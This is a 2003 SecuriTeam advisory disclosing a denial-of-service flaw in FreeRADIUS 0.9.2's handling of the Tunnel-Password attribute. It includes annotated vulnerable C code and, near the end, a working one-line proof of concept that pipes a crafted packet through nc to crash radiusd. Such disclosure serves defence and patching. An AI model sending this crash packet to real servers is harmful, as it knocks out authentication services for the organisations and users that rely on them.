[UNIX] FreeRADIUS "Tunnel-Password" Attribute Handling Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 11/23/03

  • Next message: SecuriTeam: "[NEWS] Sybase ASE Remote Password Array Denial of Service" 
    To: list@securiteam.com
Date: 23 Nov 2003 14:26:13 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      FreeRADIUS "Tunnel-Password" Attribute Handling Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.freeradius.org> The FreeRADIUS Server is "a high-performance
    and highly configurable GPL'd free RADIUS server".

    There exists a security vulnerability in FreeRADIUS that allows an
    attacker to mount a Denial of Service attack.

    DETAILS

    Vulnerable systems:
     * FreeRADIUS version 0.9.2

    Immune systems:
     * FreeRADIUS version 0.9.3

    Technical details:
    Access-Request packet with a malformed Tunnel-Password attribute triggers
    the invocation of memcpy() with a negative third argument, thereby causing
    radiusd to crash.

    Below is the snip of vulnerable code from src/lib/radius.c:
    [snip]

    int rad_decode(RADIUS_PACKET *packet, RADIUS_PACKET *original,
                   const char *secret)
     {
            DICT_ATTR *attr;
            uint32_t lvalue;
            uint32_t vendorcode;
            VALUE_PAIR **tail;
            VALUE_PAIR *pair;
            uint8_t *ptr;
            int length;
            int attribute;
            int attrlen;
            int vendorlen;
            radius_packet_t *hdr;

            ...

        while(length > 0) {
                    if (vendorlen > 0) {
                            attribute = *ptr++ | (vendorcode << 16);
                            attrlen = *ptr++;
                    } else {
                            attribute = *ptr++;
                            attrlen = *ptr++;
                    }

            /* Evgeny Legerov (EL): Suppose attrlen == 2 */
       
                    attrlen -= 2;
                    length -= 2;
       
            ...

                   if ((pair = malloc(sizeof(VALUE_PAIR))) == NULL) {
                            pairfree(&packet->vps);
                            librad_log("out of memory");
                            errno = ENOMEM;
                            return -1;
                    }

                    memset(pair, 0, sizeof(VALUE_PAIR));
       
            ...

            /* EL: Now we have pair->length == 0 */
            pair->attribute = attribute;
                    pair->length = attrlen;
                    pair->operator = T_OP_EQ;
                    pair->next = NULL;

                    switch (pair->type) {

                    case PW_TYPE_OCTETS:
                    case PW_TYPE_ABINARY:
                    case PW_TYPE_STRING:
                            if (pair->flags.has_tag &&
                                pair->type == PW_TYPE_STRING) {
                                    int offset = 0;

                                    if(TAG_VALID(*ptr)) {
                                            pair->flags.tag = *ptr;
                                            pair->length--;
                                            offset = 1;
                                    } else if (pair->flags.encrypt ==
    FLAG_ENCRYPT_TUNNEL_PASSWORD) {
                                            /*
                                             * from RFC2868 - 3.5.
    Tunnel-Password
                                             * If the value of the Tag field
    is greater than
                                             * 0x00 and less than or equal to
    0x1F, it SHOULD
                                             * be interpreted as indicating
    which tunnel
                                             * (of several alternatives) this
    attribute pertains;
                                             * otherwise, the Tag field SHOULD
    be ignored.
                                             */
                                            pair->flags.tag = 0x00;

                        /* EL: at this point we have pair->length == -1 */
                                            pair->length--;
                                            offset = 1;
                                    } else {
                                           pair->flags.tag = 0x00;
                                    }
                                    memcpy(pair->strvalue, ptr + offset,
                                           pair->length);
                            }

    [snip]

    To exploit this vulnerability attacker does not need to know NAS (Network
    Access Server) secret as the NAS's IP address can be easily spoofed.

    Solution:
    S-Quadra alerted FreeRADIUS team of this issue on 20th November 2003, a
    fix was available in CVS after several hours.

    Unfortunately, the first attempt to contact with FreeRADIUS development
    team was made through post a to freeradius-users mailing list, as page
    <http://www.freeradius.org/usage.html#help>
    http://www.freeradius.org/usage.html#help ("reporting bugs" section)
    states. We admit that such behavior is NOT correct and our further
    FreeRADIUS security reports will be issued directly to freeradius-devel
    mailing list.

    Also, apparently, despite the post to freeradius-user list of the person
    claiming to be " <mailto:cparker@starnetusa.net> Chris Parker", we have
    some knowledge of "how radius works" and PoC included in this advisory.

    Proof of concept:
    The following command will crash the radiusd daemon:

    bash-2.05$ echo -ne
    "\x01\x01\x00\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x45\x02" | nc -vu -w1 <victim> <port>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:e.legerov@s-quadra.com>
    Evgeny Legerov.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NEWS] Sybase ASE Remote Password Array Denial of Service"

    Relevant Pages